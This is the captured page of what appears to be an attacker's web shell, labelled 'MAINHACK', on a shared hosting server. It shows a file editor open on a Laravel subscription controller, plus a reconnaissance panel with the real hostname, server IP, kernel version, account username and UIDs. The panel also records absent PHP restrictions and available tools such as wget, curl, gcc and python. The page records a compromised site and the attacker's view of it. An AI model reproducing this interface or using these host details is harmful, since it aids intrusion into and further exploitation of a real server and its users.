[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SubscribeController.php
<?php namespace App\Http\Controllers\Web; use App\Http\Controllers\Controller; use App\Models\Accounting; use App\Models\Bundle; use App\Models\Sale; use App\Models\Subscribe; use App\Models\SubscribeUse; use App\Models\Webinar; use App\User; use Illuminate\Http\Request; class SubscribeController extends Controller { public function apply(Request $request, $webinarSlug) { $webinar = Webinar::where('slug', $webinarSlug) ->where('status', 'active') ->where('subscribe', true) ->first(); if (!empty($webinar)) { return $this->handleSale($webinar, 'webinar_id'); } abort(404); } public function bundleApply($bundleSlug) { $bundle = Bundle::where('slug', $bundleSlug) ->where('subscribe', true) ->first(); if (!empty($bundle)) { return $this->handleSale($bundle, 'bundle_id'); } abort(404); } private function handleSale($item, $itemName = 'webinar_id') { if (auth()->check()) { $user = auth()->user(); $subscribe = Subscribe::getActiveSubscribe($user->id); if (!$subscribe) { $toastData = [ 'title' => trans('public.request_failed'), 'msg' => trans('site.you_dont_have_active_subscribe'), 'status' => 'error' ]; return back()->with(['toast' => $toastData]); } $checkCourseForSale = checkCourseForSale($item, $user); if ($checkCourseForSale != 'ok') { return $checkCourseForSale; } $sale = Sale::create([ 'buyer_id' => $user->id, 'seller_id' => $item->creator_id, $itemName => $item->id, 'subscribe_id' => $subscribe->id, 'type' => $itemName == 'webinar_id' ? Sale::$webinar : Sale::$bundle, 'payment_method' => Sale::$subscribe, 'amount' => 0, 'total_amount' => 0, 'created_at' => time(), ]); Accounting::createAccountingForSaleWithSubscribe($item, $subscribe, $itemName); SubscribeUse::create([ 'user_id' => $user->id, 'subscribe_id' => $subscribe->id, $itemName => $item->id, 'sale_id' => $sale->id, 'installment_order_id' => $subscribe->installment_order_id ?? null, ]); $toastData = [ 'title' => trans('cart.success_pay_title'), 'msg' => trans('cart.success_pay_msg_subscribe'), 'status' => 'success' ]; return back()->with(['toast' => $toastData]); } else { return redirect('/login'); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285